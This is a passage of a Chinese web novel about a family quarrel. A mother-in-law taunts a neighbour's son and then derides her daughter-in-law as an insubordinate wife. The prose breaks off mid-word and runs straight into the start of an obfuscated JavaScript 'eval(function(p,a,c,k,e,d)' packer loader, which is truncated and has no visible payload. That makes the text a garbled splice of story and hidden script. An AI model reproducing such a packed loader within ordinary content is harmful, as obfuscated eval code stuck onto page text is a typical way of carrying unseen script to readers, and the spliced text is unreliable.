烤火的人少了很多,只丛家两房人,还缺了个丛孝。
如此千载难逢的时机,陈氏自是不想错过,正想着由头发难呢,她大儿子恰好递过来梯子。
丛信一脸窃笑,神秘兮兮道:“你们还不知道吧,朱老四叫他老子锤了一顿。说是只知道玩牌,连家里倒塌都顾不上,这样的混蛋就是欠揍。”
“朱老哥动手了?”丛三老爷诧异道。
“枉我那天拉着他劝解了半天,儿大不由娘,这么大的人了总不能说动手就动手,孩子面子也无光。
你说这大过年的何苦来哉,忙的时候恨不得倒地就睡,想躺到公鸡打鸣都是奢侈。如今好容易能养精蓄锐两天,家家户户吵不完的架,这到底是怎么了?”
陈氏冷笑一声:“叫我说打得好,打得妙,这样的不孝子孙就是打死了也是活该。当儿子的不听话,做老子的教训规矩怎么能说错,合该普天同庆才是。只是可惜了……”
陈氏摇摇头,一副扼腕叹息的模样。
“可惜什么了?”丛信好奇地问,想不到他娘如今还能说出这般的大道理。
“可惜出了嫁的妇人离了爹娘的管束,就开始无法无天,目无尊长。所谓贤妇就应该在家从父,出嫁从夫,孝顺公婆,抚育孩儿,可如今的有些个婆娘啊,猖狂得没了边。
在家不说操持家务,恭顺丈夫,反倒袖了手万事不沾,只等着吃现成的,要当家的汉子围着灶台打转。简直倒反了天罡,颠倒了阴阳,你们说这样的妇人是不是早该休弃滚回娘家,免得在外头丢人现眼?”
陈氏一双浑浊的眼睛直勾勾盯着杏娘,苍老的面盘露出快意的阴笑,只差明晃晃指着她的鼻子说:骂的就是你。
杏娘捡柴火的手一顿,若无其事收拢到火堆上,神情淡定自若。
丛信先是大吃一惊,顺着她娘的视线瞟了眼弟媳,跟他媳妇对视一眼,咧嘴露出一副怪笑,幸灾乐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){r